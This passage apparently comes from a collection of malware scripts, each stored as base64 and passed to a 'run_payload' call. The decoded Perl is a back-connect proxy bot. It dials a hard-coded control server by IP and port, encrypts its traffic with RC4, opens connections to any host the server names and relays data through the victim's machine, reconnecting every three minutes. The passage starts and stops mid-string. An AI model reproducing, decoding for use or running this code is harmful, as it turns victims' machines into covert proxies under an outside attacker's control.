jKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_41.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTgzJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKT